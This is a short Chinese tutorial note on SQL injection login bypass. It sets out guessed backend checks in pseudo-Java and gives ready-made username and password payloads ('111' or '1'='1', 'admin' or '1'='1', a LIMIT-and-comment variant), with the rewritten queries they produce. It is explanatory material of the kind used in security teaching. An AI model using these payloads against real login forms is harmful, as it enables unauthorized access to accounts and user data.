万能条件 ' or 1=1
在用户登录界面,如果后端判断不严谨,可以通过 or 1=1 的方式,结合其他条件满足后端的登录的验证许可.
假设 登录的验证需要 username 和password 两个参数.
情况一: 查询结果不为空,或大于0
后端代码:
# 查询的SQL
result = SELECT * FROM users WHERE user = '#username' AND password = '#password'
#猜测后台验证的方法 (伪java代码)
if(result != null ){
return true;
}else {
thorw new RuntimeException ('登录失败')
}
或者(伪java代码)
if(result.cont >0 ){
return true;
}else {
thorw new RuntimeException ('登录失败')
}
前端填写:
用户名随意填写或者空,密码填写 111' or '1'='1
这样讲导致SQL演变为
SELECT * FROM users WHERE user = 'name' AND password = '111' or '1'='1'
判断条件变成了: 用户名密码匹配 或者 '1' = '1' 所以条件一直为真.会查出所有用户信息
username 输入 admin1' or '1'='1 即可,passwrd 可以填空或随意值即可.
这样讲导致SQL演变为
SELECT * FROM users WHERE user = 'admin1' or '1'='1' AND password = ''
情况二: 直接查询数量是否等于 1
情况一的方法就不能使用了,想办法让返回结果为1 即可.
后端代码:
# 查询的SQL
int result = SELECT count(*) FROM users WHERE user = '#username' AND password = '#password'
#猜测后台验证的方法 (伪java代码)
if(result == 1 ){
return true;
}else {
thorw new RuntimeException ('登录失败')
}
前端填写 : 如果知道用户名
username: admin' or '1'='1
补充: admin是真实用户名
password: 随意输入密码即可
这样讲导致SQL演变为
SELECT * FROM users WHERE user = 'admin' or '1'='1' AND password = '111'
可以理解为:
SELECT * FROM users WHERE user = 'admin' or( '1'='1' AND password = '111' )
这样会导致只会查询 user 为admin的用户,导致查询数量为1
前端填写 : 如果不知道用户名
username = 111' or '1'='1' limit 0, 1#
用户名: 使用or 1=1 达到万能条件,使用 limit 0,1 表示取第一条数据, 使用# 表示注释掉后面的语句
password = 111
密码随意输入即可
这样讲导致SQL演变为
SELECT * FROM `users` WHERE user = '111' or '1'='1' limit 0, 1# AND password = '111';